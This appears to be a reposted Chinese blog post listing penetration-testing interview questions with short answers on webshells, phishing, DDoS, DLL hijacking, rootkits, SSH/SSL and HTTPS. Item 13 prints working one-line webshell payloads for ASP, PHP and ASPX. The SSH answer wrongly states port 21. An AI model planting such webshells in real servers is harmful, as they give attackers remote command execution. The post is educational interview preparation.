安恒网安面试题来啦!兄弟们冲起来~(上)
Posted 新网工李白
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了安恒网安面试题来啦!兄弟们冲起来~(上)相关的知识,希望对你有一定的参考价值。
今天刚面完安恒渗透测试岗,给大家总结起来。
1.什么是 WebShell?
WebShell 就是以 asp、php、jsp 或者 cgi 等网页文件形式存在的─种命令执行环境,也可以将其称做为─种网页后门。黑客在入侵了─个网站后,通常会将这些asp 或 php 后门文件与网站服务器 WEB 目录下正常的网页文件混在─起,然后就可以使用浏览器来访问这些 asp 或者 php 后门,得到─个命令执行环境,以达到控制网站服务器的目的(可以上传下载文件,查看数据库,执行任意程序命令等)。国内常用的 WebShell 有海阳 ASP 木马,Phpspy,c99shell 等。
静态网页:最常用的格式文件就是 html 格式文件,大部分网页的格式都是 html格式,html 格式又包含有.htm、dhtml.xhtml.shtm.shtml。这些都是指静态页面,里面不含有动态程序。
动态网页:页面级包括有 ASP(基于 javascript 或 VbScript 或 C#)、JSP、PHP、ASPX、jspx、cgi。这些里面是包含服务器端执行的代码,也就是服务器在将这些网页发给客户端之前,会先执行里面的动态程序语言,并把执行后生成的 html 发送到客户端来的,所以我们在客户端看到的源代码也是 html 格式的(因为动态的代码直接在服务器上执行,而这些服务器代码是前台是不会显示出来。
2.什么是网络钓鱼?
网络钓鱼是通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引诱收信人给出敏感信息(如用户名、口令、帐号 ID 、 ATMPIN 码或信用卡详细信息)的一种攻击方式。
最典型的网络钓鱼攻击将收信人引诱到一个通过精心设计与目标组织的网站非常相似的钓鱼网站上,并获取收信人在此网站上输入的个人敏感信息,通常这个攻击过程不会让受害者警觉。
它常常导引用户到 URL 与接口外观与真正网站几无二致的假冒网站输入个人数据。就算使用强式加密的 SSL 服务器认证,要侦测网站是否仿冒实际上仍很困难。网钓是一种利用社会工程技术来愚弄用户的实例。它凭恃的是现行网络安全技术的低亲和度。
3.你获取网络安全知识途径有哪些?
- 网站,看雪,安全焦点,国内的乌云,FreeBuf ;
- 视频学习:i 春秋,51cto,慕课网,实验楼,实验吧,网易云课堂等等;
- 微信公众号、知乎等,企业 src 等;
- 书籍,《白帽子讲 web 安全》《Web 应用安全权威指南》等;
- 然后就是请教牛人;
- 自己写博客CSDN,打靶场。
4.什么是 CC 攻击?
这个也是知道一些,知道他是 DDos 的变种,正常请求伪造,服务器资源耗尽,最终还是看看百科答案吧:CC 攻击是 DDOS(分布式拒绝服务)的一种,相比其它的 DDOS 攻击 CC 似乎更有技术含量一些。这种攻击你见不到真实源 IP,见不到特别大的异常流量,但造成服务器无法进行正常连接。CC 攻击的原理就是攻击者控制某些主机不停地发大量数据包给对方服务器造成服务器资源耗尽,一直到宕机崩溃。CC 主要是用来攻击页面的,每个人都有这样的体验:当一个网页访问的人数特别多的时候,打开网页就慢了,CC 就是模拟多个用户(多少线程就是多少用户)不停地进行访问那些需要大量数据操作(就是需要大量 CPU时间)的页面,造成服务器资源的浪费,CPU 长时间处于 100%,永远都有处理不完的连接直至就网络拥塞,正常的访问被中止。
5.Web 服务器被入侵后,怎样进行排查?
最简单就是
- 查看下 web 服务器日志
- 看看有没有异常端口开放
- 使用安全狗等服务器安全软件清扫
6.dll 文件是什么意思,有什么用?
DLL(Dynamic Link Library)文件,即动态链接库,也有人称作应用程序拓展。
Windows 应用程序中,实行了模块化设计,也就是说并不是每个应用程序都编写完所有的功能代码,而是在运行过程中调用相应功能的 DLL,不需运行的功能就不调用,所以大大加快了程序的加载速度和效率,其他应用程序也可以调用相
关的 DLL,这样也有利于促进代码重用以及内存使用效率,减少了资源占用,而且程序更新时也只要更新相关的 DLL 就可以了。
要注意的是,有些病毒也会伪装成 DLL 文件,并替换系统的 DLL 文件,需要我们防范。
DLL 劫持原理
由于输入表中只包含 DLL 名而没有它的路径名,因此加载程序必须在磁盘上搜索 DLL 文件。首先会尝试从当前程序所在的目录加载 DLL,如果没找到,则在Windows 系统目录中查找,最后是在环境变量中列出的各个目录下查找。利用
这个特点,先伪造一个系统同名的 DLL,提供同样的输出表,每个输出函数转向真正的系统 DLL。程序调用系统 DLL 时会先调用当前目录下伪造的 DLL,完成相关功能后,再跳到系统 DLL 同名函数里执行。这个过程用个形象的词来描述
就是系统 DLL 被劫持(hijack)了。
伪造的 dll 制作好后,放到程序当前目录下,这样当原程序调用原函数时就调用了伪造的 dll 的同名函数,进入劫持 DLL 的代码,处理完毕后,再调用原 DLL此函数。
如何防止 DLL 劫持
DLL 劫持利用系统未知 DLL 的搜索路径方式,使得程序加载当前目录下的系统同名 DLL。所以可以告诉系统 DLL 的位置,改变加载系统 DLL 的顺序不是当前目录,而是直接到系统目录下查找。
7.0day 漏洞
是已经发现但是官方还没发布补丁的漏洞。
信息安全意义上的 0Day 是指在安全补丁发布前而被了解和掌握的漏洞信息。
8.Rootkit 是什么意思?
Rootkit 是一种特殊类型的 malware(恶意软件)。Rootkit 之所以特殊是因为您不知道它们在做什么事情。Rootkit 基本上是无法检测到的,而且几乎不可能删除它们。虽然检测工具在不断增多,但是恶意软件的开发者也在不断寻找新的途
径来掩盖他们的踪迹。
Rootkit 的目的在于隐藏自己以及其他软件不被发现。它可以通过阻止用户识别和删除攻击者的软件来达到这个目的。
Rootkit 几乎可以隐藏任何软件,包括文件服务器、键盘记录器、Botnet 和 Remailer。许多 Rootkit 甚至可以隐藏大型的
文件集合并允许攻击者在您的计算机上保存许多文件,而您无法看到这些文件。
Rootkit 本身不会像病毒或蠕虫那样影响计算机的运行。攻击者可以找出目标系统上的现有漏洞。漏洞可能包括:开放的网络端口、未打补丁的系统或者具有脆弱的管理员密码的系统。在获得存在漏洞的系统的访问权限之后,攻击者便可手
动安装一个 Rootkit。这种类型的偷偷摸摸的攻击通常不会触发自动执行的网络安全控制功能,例如入侵检测系统。
找出 Rootkit 十分困难。有一些软件包可以检测 Rootkit。这些软件包可划分为以下两类:基于签名的检查程序和基于行为的检查程序。基于签名(特征码)的检查程序,例如大多数病毒扫描程序,会检查二进制文件是否为已知的 Rootkit。
基于行为的检查程序试图通过查找一些代表 Rootkit 主要行为的隐藏元素来找出 Rootkit。一个流行的基于行为的 Rootkit 检查程序是 Rootkit Revealer.
在发现系统中存在 Rootkit 之后,能够采取的补救措施也较为有限。由于Rootkit 可以将自身隐藏起来,所以您可能无法知道它们已经在系统中存在了多长的时间。而且您也不知道 Rootkit 已经对哪些信息造成了损害。对于找出的 Rootkit,最好的应对方法便是擦除并重新安装系统。虽然这种手段很严厉,但是这是得到证明的唯一可以彻底删除 Rootkit 的方法。
防止 Rootkit 进入您的系统是能够使用的最佳办法。为了实现这个目的,可以使用与防范所有攻击计算机的恶意软件一样的深入防卫策略。深度防卫的要素包括:病毒扫描程序、定期更新软件、在主机和网络上安装防火墙,以及强密码策
略。
9.蜜罐
蜜罐好比是情报收集系统。蜜罐好像是故意让人攻击的目标,引诱黑客前来攻击。所以攻击者入侵后,你就可以知道他是如何得逞的,随时了解针对服务器发动的最新的攻击和漏洞。还可以通过窃听黑客之间的联系,收集黑客所用的种种工具,并且掌握他们的社交网络。
10.ssh
远程登陆用的、端口21,下面的描述了解即可。
SSH 为 Secure Shell 的缩写,由 IETF 的网络小组(Network Working Group)所制定;SSH 为建立在应用层基础上的安全协议。SSH 是目前较可靠,专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。SSH 最初是 UNIX 系统上的一个程序,后来又迅速扩展到其他操作平台。SSH 在正确使用时可弥补网络中的漏洞。SSH 客户端适用于多种平台。几乎所有 UNIX 平台—包括 HP-UX、Linux、AIX、Solaris、Digital UNIX、Irix,以及其他平台,都可运行 SSH。
传统的网络服务程序,如:ftp、pop 和 telnet 在本质上都是不安全的,因为它们在网络上用明文传送口令和数据,别有用心的人非常容易就可以截获这些口令和数据。而且,这些服务程序的安全验证方式也是有其弱点的,就是很容易受到“中间人”(man-in-the-middle)这种方式的攻击。
所谓“中间人”的攻击方式,就是“中间人”冒充真正的服务器接收你传给服务器的数据,然后再冒充你把数据传给真正的服务器。服务器和你之间的数据传送被“中间人”一转手做了手脚之后,就会出现很严重的问题。通过使用 SSH,你可以把所有传输的数据进行加密,这样" 中间人"这种攻击方式就不可能实现了,而且也能够防止 DNS 欺骗和 IP 欺骗。
使用 SSH,还有一个额外的好处就是传输的数据是经过压缩的,所以可以加快传输的速度。SSH 有很多功能,它既可以代替 Telnet,又可以为 FTP、PoP、甚至为 PPP 提供一个安全的"通道"。英文全称是 Secure Shell。通过使用 SSH,你可以把所有传输的数据进行加密,这样"中间人"这种攻击方式就不可能实现了,而且也能够防止 DNS 和 IP 欺骗。
还有一个额外的好处就是传输的数据是经过压缩的,所以可以加快传输的速度。 SSH 有很多功能,它既可以代替 telnet,又可以为 ftp、pop、甚至 ppp 提供一个安全的"通道"。
SSH 是由客户端和服务端的软件组成的,有两个不兼容的版本分别是:1.x 和2.x。用 SSH 2.x 的客户程序是不能连接到 SSH 1.x 的服务程序上去的。OpenSSH 2.x 同时支持 SSH 1.x 和 2.x。SSH 的安全验证是如何工作的从客户端来看,SSH 提供两种级别的安全验证。第一种级别(基于口令的安全验证)只要你知道自己帐号和口令,就可以登录到远程主机。所有传输的数据都会被加密,但是不能保证你正在连接的服务器就是你想连接的服务器。可能会有别的服务器在冒充真正的服务器,也就是受到“中间人”这种方式的攻击。第二种级别(基于密匙的安全验证)需要依靠密匙,也就是你必须为自己创建一对密匙,并把公用密匙放在需要访问的服务器上。如果你要连接到 SSH 服务器上,客户端软件就会向服务器发出请求,请求用你的密匙进行安全验证。服务器收到请求之后,先在你在该服务器的家目录下寻找你的公用密匙,然后把它和你发送过来的公用密匙进行比较。如果两个密匙一致,服务器就用公用密匙加密“质询”(challenge)
并把它发送给客户端软件。客户端软件收到“质询”之后就可以用你的私人密匙解密再把它发送给服务器。用这种方式,你必须知道自己密匙的口令。但是,与第一种级别相比,第二种级别不需要在网络上传送口令。第二种级别不仅加密所有传送的数据,而且“中间人”这种攻击方式也是不可能的(因为他没有你的私人密匙)。但是整个登录的过程可能需要 10 秒。
SSL(SecureSockets Layer (SSL) and Transport Layer Security (TLS))被设计为加强 Web 安全传输(HTTP/HTTPS/)的协议(事实上还有 SMTP/NNTP等),SSH(Secure Shell)更多的则被设计为加强 Telnet/FTP 安全的传输协议,默认地,它使用 22 端口.
以 SSL 为例,基本上 SSL 在传输过程中所处的位置如下: ---------
|HTTP | ---------
| SSL| ---------
| TCP| ---------
| IP| ---------
如果利用 SSL 协议来访问网页,其步骤如下:
用户:在浏览器的地址栏里输入 https://www.sslserver.com
HTTP 层:将用户需求翻译成 HTTP 请求,如
GET/index.htm HTTP/1.1
Hosthttp://www.sslserver.com
SSL 层: 借助下层协议的的信道安全的协商出一份加密密钥,并用此密钥来加密HTTP 请求。
TCP 层:与 web server 的 443 端口建立连接,传递 SSL 处理后的数据。接收端与此过程相反。
SSL 在 TCP 之上建立了一个加密通道,通过这一层的数据经过了加密,因此达到保密的效果。
SSL 协议分为两部分:Handshake Protocol 和 Record Protocol,。其中Handshake Protocol 用来协商密钥,协议的大部分内容就是通信双方如何利用它来安全的协商出一份密钥。 Record Protocol 则定义了传输的格式.
11.DDOS
http://baike.baidu.com/link?url=hOeNhuaIj6tF9NY1wr2wbe9pIe52PaCJ5KXTisdfPUK4j8beTktmVsRaH5hRjkcpq6FPouzRl2hbsbpEDO5HRAUYi_D1Tsnu_q7in59xRasqHbmi1oYhEyVDVVn9ZcIcqRsZi5axo_HgkXBPioJx_#10
分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动 DDoS 攻击,从而成倍地提高拒绝服务攻击的威力。通常,攻击者使用一个偷窃帐号将DDoS 主控程序安装在一个计算机上,在一个设定的时间主控程序将与大量代理程序通讯,代理程序已经被安装在网络上的许多计算机上。代理程序收到指令时就发动攻击。利用客户/服务器技术,主控程序能在几秒钟内激活成百上千次代理程序的运行。
12.震网病毒
指一种蠕虫病毒,是第一个专门定向攻击真实世界中基础(能源)设施的“蠕虫” 病毒,比如核电站,水坝,国家电网。只要电脑操作员将被病毒感染的 U 盘插入 USB 接口,这种病毒就会在神不知鬼不觉的情况下(不会有任何其他操作要求或者提示出现)取得一些工业用电脑系统的控制权。
与传统的电脑病毒相比,“震网”病毒不会通过窃取个人隐私信息牟利。无需借助网络连接进行传播。这种病毒可以破坏世界各国的化工、发电和电力传输企业所使用的核心生产控制电脑软件,并且代替其对工厂其他电脑“发号施令”。极具毒性和破坏力。“震网”代码非常精密,主要有两个功能,一是使伊朗的离心机运行失控,二是掩盖发生故障的情况,“谎报军情”,以“正常运转”记录回传给管理部门,造成决策的误判。
13.一句话木马
asp 一句话木马:
<%execute(request("value"))%>
php 一句话木马:
<?php@eval($_POST[value]);?>
变形:
<?php$x=$_GET[‘z’];@eval(“$x;”);?>
aspx 一句话木马:
<%@ PageLanguage="Jscript"%>
<%eval(Request.Item["value"])%>
14.Https 的作用?
(HTTP+SSL)
内容加密建立一个信息安全通道,来保证数据传输的安全;
身份认证确认网站的真实性;
数据完整性防止内容被第三方冒充或者篡改。
HTTPS 和 HTTP 的区别
https 协议需要到 CA 申请证书。
http 是超文本传输协议,信息是明文传输;https 则是具有安全性的 ssl 加密传输协议。
http 和 https 使用的是完全不同的连接方式,用的端口也不一样,前者是 80,后者是 443。
http 的连接很简单,是无状态的;HTTPS 协议是由 SSL+HTTP 协议构建的可进行加密传输、身份认证的网络协议,比 http 协议安全。
看完直接上班!!!
以上是关于安恒网安面试题来啦!兄弟们冲起来~(上)的主要内容,如果未能解决你的问题,请参考以下文章